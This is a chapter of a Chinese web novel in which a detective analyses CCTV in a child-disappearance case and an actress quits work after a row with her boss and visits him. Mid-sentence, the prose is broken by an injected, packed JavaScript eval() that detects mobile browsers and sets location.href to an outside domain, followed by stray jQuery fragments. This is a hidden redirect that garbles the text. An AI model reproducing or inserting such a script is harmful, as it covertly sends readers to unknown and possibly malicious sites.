“叫袁荣——被害人夏远宸的舅舅。” 10. 笑面人 十 一个为了避开追查已经想到要租车来用的人,会在最后关头反而大喇喇地用自己的名字做登记吗? 周澄和何将醉同步完他那边的大致进展后,匆匆挂断了电话。 何将醉全程都没有发表什么看法,只是近距离打量着那辆自己已经观察了半天的车,记下了车主留下的电话。随后他回到自己车上,重新对着按下暂停键的那帧画面若有所思。 餐厅里监控的位置并不是正对着夏家几人的座位的——夏家四口人选的座位侧面靠墙,两个孩子和父母相对而坐,两个孩子是背对着监控镜头的。 静止的画面里,夏延裕正在往孩子们的盘子里放吃的,袁雅则低着头——实际上,吃饭的全程袁雅几乎都是这个状态,很少和其他几人有互动。 是因为和丈夫聚少离多感情不深,所以才在少有的一家人同聚的场合依然一副兴致不高的样子吗? 不常和孩子们有接触的人在以慈父形象照顾着孩子,几乎所有时间都与孩子们生活在一起、事无巨细打点好一切的人,此时反而是一副漫不经心的样子。 一家四口,两个大人两个孩子的话…… 为了更好地照顾到两个年纪尚小的孩子,一般父母会选择让孩子们分别坐在里边,大人各坐在一边的外侧才对,这样可以避免孩子乱跑或被来往的人磕碰到。 但现在监控里的两个成年人并没有这样做,甚至其中一个人在吃饭全程几乎都没怎么抬头关注过对面的两个孩子。 而对面的孩子——何将醉把监控倒回去又看了一遍,发现夏远宸也和袁雅一样,很少抬头看其他人,只顾着低头吃自己的东西。 重新按下播放键,只见夏延裕伸手给夏远宸的盘子里夹了些菜。夏远宸抬手拿筷子的时候,刚好不小心碰到了旁边左手拿筷子的夏远鹤,夏远鹤胳膊一抖,赶紧攥住筷子,小心翼翼地抬头看了一眼夏延裕。 录像再次被暂停。 看得出来孩子对爸爸是有些畏惧的,除此之外还有另一点吸引了何将醉的注意——日常起居都在一起的兄弟俩,按说同桌吃饭的次数不会少,对彼此的习惯应该也很熟悉了才对。像这种惯用手不同的情况,两个人应该也早就定好了吃饭写字落座时座位该如何安排,这样才不至于两人的手因为动作而影响到对方。 但面前的监控录像告诉何将醉并不是这样。 他突然冒出一个大胆的猜测。 何将醉找出先前周澄发给他的案件相关人员资料,快速地翻到目标页。 半晌,他重新给周澄拨了个电话。 “审袁荣的时候顺带问一下他,三月二十一那天他和他儿子都去了哪、干了什么。袁荣曾经在夏远宸失踪的万悦购物中心担任过货物管理员,我怀疑夏远宸的失踪与他有关。”何将醉低下头,视线紧盯着照片上与夏家兄弟俩同岁的男孩,“另外,找到夏家两个孩子以及袁荣儿子写过的东西做笔迹鉴定,确定这三个孩子惯用手的情况。我给你发个车牌号,这辆车应该是万悦运送货物的车辆,找他们要一下这辆车的行车记录仪。” 早上开完会出门没过多长时间,还没到拍摄场地,池观月就被自家老板一个电话从半路重新召回了公司。 看来这是她拒拍夏氏的代言广告的事情传到老板徐致来耳朵里了,被约谈了。 从接到电话到掉头返回公司这一路,方一尧反而比池观月更紧张。视线在时间和池观月之间焦虑地徘徊,然而当事人甚至不紧不慢地拿出手机开了局游戏,边玩边安慰他放宽心,扬言不会有什么大事的。 方一尧心里十分清楚,他俩对“大事”的定义本身就差了十万八千里,可事到如今他也没什么好办法能化解接下来的危机,两边都是他劝不动的人。 前一天晚上摄入的大量高度数酒精给池观月带来的影响甚微,但显然对于面前皱眉不断按压着太阳穴的中年男人来说就不是这样了。 不过也不一定,没准他是被自己气成这样的。 池观月事不关己一样站在旁边等着看戏。 而那个自她进门起就紧盯着她的老板,在发现对方完全一副没事人的样子之后,隐约的怒气又多了几分。 “为什么拒拍代言?” “因为有比我更合适的人选。而且为了公司发展,正好能借此机会给新人点发展机会,不好吗?” 不然要怎么说——您挚友现在捂得紧紧的家中变故马上就要被爆出来了,而现在嫌疑最大的正是他的那些亲朋好友,甚至没准就是他本人。到时候夏氏从公司到老板肯定都是负面新闻缠身,再加上您自己中途反水想拉我背锅的那些见不得人的事,所以我决定跑得越远越好? 池观月心想:你自己秃了就算了,我还是很爱惜自己的羽毛的。 徐致来哪知道这些,他眼里现在的池观月就是在耍大牌——仗着资源和人气在手,就试图脱离公司的掌控。 “你以为这广告、剧和这公司都没你不行是吧?”她这副优哉游哉的样子让徐致来越看越心烦,只觉得无名火四起。 “您这说的是哪的话,”不同于面前人的震怒,池观月自始至终都是一副镇定自若的样子,“我只是认为公司会做出最明智的决定而已。” 用克制礼貌的语气,挑战着徐致来的“权威”。 后者自然是忍不了的。 “你是万象旗下的艺人,就该无条件服从安排!你搭档那个什么秦泽亦代言夏氏的最新产品,能让公司的利益最大化,这广告你必须拍!不然新剧你也别拍了!”徐致来盛怒之下一拍桌子,指着池观月呵斥,“和公司签的合约还有一年才到期是吧?接下来你什么影视剧通告也别想接到,要想取消合约就赔钱走人!” “我也以为我们签的是合约,不是卖身契。”池观月最后三个字说得轻飘飘的,紧接着调转话锋静观对面人的反应,“不取消,当然不能取消合约了——” 哪儿能便宜了你个只认钱的玩意儿,看来昨天还是给你灌少了。 池观月放下翘起的二郎腿,利索地起身往门外走:“那就照您的意思办,从现在开始我就放假了。” “你——” 想了想现在丁璇没准正在拍戏,池观月便在下楼的时候随手给她发了张Dobby的经典表情包。 另一边丁璇反应更快,收到消息直接一个电话就追过来了。 “不是吧?怎么你就突然自由了?被开了?不对啊,就你,你能乖乖直接让他给开了?不可能。”电话刚一接通丁璇就发出一连串疑问,“到底怎么回事,你怎么样了?” 池观月一下没忍住笑出声来:“放假,我就是放个假。” “什么情况?” 池观月把刚刚过去的几分钟跟她复述了一遍,确认了周围没人后对她嘱咐道:“接下来无论他们说什么,和夏氏有关的一切工作你都不要接。他们能拿资源压我,但是不敢拿这些限制你,否则这破公司就等着倒闭吧。总之你多小心。” 多年的默契,丁璇知道既然她没说原因,那就是当下还没办法说。 既然这样,那她便也不再多问。 相信她,然后照做就是了。 “好。那你接下来怎么办,就跟他这么耗着了?” “以他的视角没准觉得是我在跟他耗着,实际就他虚张声势那样还想吓唬谁啊。都好几十岁的人了,服不了众还要搞威胁那套。”池观月不屑的语气里带了笃定,“把事情做绝之后没台阶下的只会是他自己,以他那个只认钱的本性,最后他还是得老老实实把我请回去。正好让他试试公司没我到底行不行吧。” “确实,你要真想走,有的是愿意帮你把违约金一起付了的下家。”丁璇松了口气,“那他估计也就撑个几天,再多的话,剧组这边就受不了了。” “随他便。”池观月满不在乎,“对了,这几天让方一尧先跟着你一起跑行程吧,我怕那老家伙找茬找到他头上。” “行,我去打个招呼,就说忙不过来需要帮忙,没人会说什么。” 到了地下车库和方一尧交代完情况之后,池观月坐在自己的车里,眼神虚焦落在窗外长舒了一口气。 那些黑暗的日子,可笑的成为了自己演员梦想的始发点。 什么充满朝气的人生规划,其实当初并没有人可以和自己一同探讨。 只是在偶然间与外公聊天的时候提到过一次,没想到那老头居然真的去研究了一番,还推荐了他认为还不错的公司让她去试试看。 池观月一向相信外公的眼光决策,但那个时候的她就隐约有股倔劲——她清楚自己的这个外公颇有些人脉和手段,所以她当初曾经反复让外公保证他和这家公司确实没有联系,然后才努力凭借自己实力成功进了公司。 那个时候和自己一样名不见经传的小公司,在往后的几年里业绩口碑一路上涨。 年轻的影视剧演员好找,但年轻的音乐剧演员在当时并不多见。况且池观月入行时的年龄小,现在也才不过二十出头。以她的年龄和水平综合来看的话,她实在是当时不可多得的人才。 直接呈现于舞台的戏剧,其演员也成为了大众心里实力的象征。所以可以说池观月为当时的公司开辟了一片新的领域,并在其中成功占据了一席之地,公司的半壁江山是她打下来的这说法毫不夸张。 结果也许是意料之中的——资本家是永远都不会有满足的那一天的,自家老板自然也是越玩越出圈。 其实无论以前还是现在,池观月对外公的了解只有个大致的轮廓,只是模糊地觉得他很厉害。 事业有成,生活里不说别的,至少对与她有关的一切都十分上心——撑起了她原本坍塌的世界,把她从黑暗里拉了出来,给了她新的生活的希望和方向。所以一直以来,自己无论有什么大大小小的事情都会和他聊,他往往也会根据自己多年以来的阅历,给自己提供一些建议。 印象里外公对外婆和妈妈也是百依百顺,丝毫没有一点叱咤商界时的影子。 对她来说,其实了解这些就够了。 池观月一向不以客观关系论远近——毕竟自己那个带血缘关系的亲爹尚且不过如此,何况别人呢。 她还是觉得看对方实际做了什么更重要。 此刻对这些弯弯绕绕的事情尤为厌倦。 池观月发动车子自公司大楼出发,全程漫无目的地行使,回过神来的时候发现正好开到了漫野附近。 反正闲着也是闲着,她索性找了个地方把车停好,琢磨着进去看看白天的漫野什么样。 玩心大起,放着好好地大门不走,池观月凭着印象,找到了前几天晚上自己走过的那条直通二楼阳台的隐蔽通道,悄悄溜了上去。 剩最后一级台阶的时候,池观月单手一撑阳台外围的栏杆,利落地侧身翻了进去。 “不愧是我啊。” 池观月自豪地拍掉手上的浮土,打开阳台通向室内的落地玻璃门,大摇大摆在屋子里转悠了一圈,顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14978285|161450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手还拎走了一瓶桌上的酒打算待会儿尝尝味道。 相较于自傍晚开始的人声鼎沸,白天的漫野要安静许多。尤其是今天—— 池观月趴在二楼走廊地栏杆上向楼下扫视了一圈,发现这里居然一个人都没有。 “这么早就来了?”背后突然响起的说话声,反倒把她这个不速之客给吓了一跳,“出场方式倒挺特别。” 听出了来人是谁,池观月眼珠一转,扭头的瞬间变脸成了一个垂头丧气的悲伤醉鬼:“被老板开了,没地方去了……” 这个展开是何将醉没想到的,他怔愣间眼睁睁看着池观月摇摇晃晃地冲他走过来,一手拎着酒瓶一手抱着他的胳膊“哭诉”命运的不公。 何将醉叹了口气,十分配合地轻轻拍了拍池观月的后背以示安抚,随后低声在她耳边附了一句:“别装。” “……”池观月猝不及防地被噎了一下,皱着眉嘴硬,“都是真的啊。” “‘以你的脾气能忍气吞声被公司开除’和‘以你的酒量能喝醉’这两条,你觉得哪条更真一点?” 池观月:“……” “啊,‘你能喝醉’确实是真的,毕竟今天凌晨刚见识过,”何将醉说着风凉话,转身走回隔壁屋里,“但是下次记得打开瓶盖交流。” 池观月悔恨地看了一眼手里还没来得及开瓶的酒,自来熟地跟在何将醉身后一起钻进了屋。 “怎么突然想起来来这儿了?找我的?” “啊……对!难得放假,闷得慌,来找点乐子。”池观月的真心话脱口而出。 何将醉也不追问她莫名其妙突然放假的原因,只说了句:“这儿可不收无业游民啊。” “那——”池观月大脑飞速运转,“医生我有病,需要治疗。” 何将醉:“……” 一成不变太过无趣。 始终处变不惊的人,才会更容易引起人想去招惹的念头。 有意思的是,身前的这个人每次都能让池观月发现颇具反差的新的一面,因此发掘的过程也就成了她的乐趣之一。 和淡漠的外表不同,这间漫野里诠释着他另一个身份的房间,除了大大小小的显示器设备以外,还摆放了许多盆栽。每一盆明显都得到了悉心的照料,被旁边那些冰冷的机器衬得像是一小片荒芜里的绿洲。墙壁上有几幅小的挂画以及两张花纹繁复的面具作装饰,倒也不显得房间太过单调。 房间被设计得很隐蔽,若不是刚刚何将醉在前面带路,还真发现不了走廊这处壁画是可活动的房间出入口。 何将醉轻车熟路地坐下来连接各种设备,也并不在意房间里另一个人的行动。 这小面积的房间里实在也没什么其他可自由活动的余地,池观月看了一圈,最后索性坐在了何将醉身后的长条沙发上。 爬上爬下冷静后周身陡然下降的温度,让池观月不得不披上了下车时随手拿下来的外套。 轻轻拍掉衣服上刚刚不小心蹭到的浮土,穿着长筒马丁靴的脚搭在了茶几旁边的矮木箱上,无声地晃来晃去。 先前已经和周澄那边打过招呼,再加上池观月前后也帮了不少忙,何将醉手下工作不停,把案件最新的进展简单跟她说了一下。 也不管背对着他的人看不看得见,池观月单手手肘支在沙发扶手上煞有介事地边听边点头,还伸出另一只手把玩着旁边盆栽宽厚的叶片。 “哦对了,”池观月突然想起来早上临走的时候自己答应过的事,“病历的事我已经找人帮忙查了,目前还没回信,还得再等等,有消息我会告诉你。” “嗯。” 何将醉透过眼前屏幕上不断跳转着的数据思索着答案,池观月透过它们看到了周公在向她招手。 前一天一直灌到通宵的酒精再加上一上午的战斗倒没让她觉得有多饿,只是感到十分困倦。 随着眨眼频率逐渐变得越来越满,最终她还是抵不过眼皮的沉重,迷迷糊糊地靠在沙发上睡着了。 等到何将醉沉下心来把手上的工作忙得差不多之后,他突然意识到身后的人已经半天都没出过一点声音了。 于是他回过头看了一眼。 只见那个平时无时无刻闪烁着锋利狡黠光芒的人,此时敛去了所有锋芒棱角,安静地倒在靠枕上睡得正香。 “内心深处恐惧的、逃避的,往往就是让自己耿耿于怀的,来做心理咨询的人想解决的不外乎就是这些嘛。但是她不是,”和何将醉做交接工作的治疗师很是苦恼,“咨询过程中她一般就只聊她的工作压力什么的,和幽闭恐惧症相关的内容她总会有意无意地绕开,说是‘过去的事既然不影响当下的生活,那过去就过去了,还是过好当下更重要’。但是能清楚地感觉到她内心既不是真的放下了,也不是真的不需要帮助,她整个人传达出的情绪就很……矛盾。” 分明能感到对方也是想解决那些自己刻意或下意识回避着的内容的,可先前的咨询师始终找不到这棘手问题的突破口,最后只得作罢。 “交给我吧。” 习惯性静音的手机屏幕刚好闪烁着提示新的来电。 何将醉收回视线,拿起手机,轻轻关上灯出了屋门。 思绪却还留在屋内那人的身上不肯走。 他确实是有意接近她。 目的的话,简单来说确实也是想知道她恐惧的源头到底是什么。 真的不是在恐惧那个凭空消失的人,实际是因你而死的吗?